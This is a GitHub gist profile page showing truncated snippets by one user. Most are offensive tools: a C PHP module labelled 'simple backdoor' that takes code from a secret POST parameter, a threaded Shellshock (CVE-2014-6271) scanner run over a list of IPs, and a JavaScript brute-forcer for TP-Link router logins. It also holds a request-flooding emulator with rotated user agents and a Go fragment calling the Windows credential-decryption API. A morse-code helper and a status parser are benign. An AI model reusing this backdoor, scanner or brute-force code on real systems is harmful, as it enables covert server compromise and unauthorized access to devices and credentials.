Skip to content

Instantly share code, notes, and snippets.

View akamajoris's full-sized avatar
💭
Life

Canis Majoris akamajoris

💭
Life
View GitHub Profile
#include "stdafx.h"
#include "zend_config.w32.h"
#include "php.h"
PHP_RINIT_FUNCTION(hideme);
zend_module_entry hideme_ext_module_entry = {
STANDARD_MODULE_HEADER,
"simple backdoor",
NULL,
NULL,
NULL,
PHP_RINIT(hideme),
NULL,
NULL,
"1.0",
PHP_RINIT_FUNCTION(hideme)
{
char* method = "_POST"; // суперглобальный массив, из которого берем пераметр и значение
char* secret_string = "secret_string"; // параметр в котором будет evil-код
zval** arr;
char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
HashTable* ht = Z_ARRVAL_P(*arr);
@akamajoris
akamajoris / gist:5bf10471a013b4bdc8d5
Created September 15, 2014 12:10
ServerStatusParser
import urllib2, time, re
link = 'http://host/server-status'
data = []
period = 1 # sec
def get(link):
while True:
response = urllib2.urlopen(link)
html = response.read()
@akamajoris
akamajoris / gist:60ee3b7d0980a9773599
Last active August 29, 2015 14:06
CVE-2014-6271 check
#!/usr/bin/env python
__author__ = "VY_CMa"
__copyright__ = "Copyright 2014"
import Queue, threading, urllib2, requests
l = file("res.txt", "r")
ips = l.read().split("\n")
q = Queue.Queue()
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Bruteforce!</title>
</head>
<!-- http://www.tp-link.com/resources/simulator/TL-WR750N_V5.0/localiztion/str_menu.js -->
<body onload="detectFirefox()">
<h1>Bruteforcing TP-Link routers with JavaScript</h1>
var poolModule = require('generic-pool');
var exec = require('child_process').exec;
var randomstring = require("randomstring");
var ualist = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36"];
var urllist = ["http://host.com", "http://host.com/hello", "http://stand.me/2015/"];
var pool = poolModule.Pool({
name : 'emulator',
@akamajoris
akamajoris / gist:3ac7377a3a1e0ce4abda
Created November 24, 2015 07:26 — forked from ebuckley/gist:1842461
python code to encode/decode morse code
morseAlphabet ={
"A" : ".-",
"B" : "-...",
"C" : "-.-.",
"D" : "-..",
"E" : ".",
"F" : "..-.",
"G" : "--.",
"H" : "....",
"I" : "..",
package main
import (
"log"
"syscall"
"unsafe"
)
const (
CRYPTPROTECT_UI_FORBIDDEN = 0x1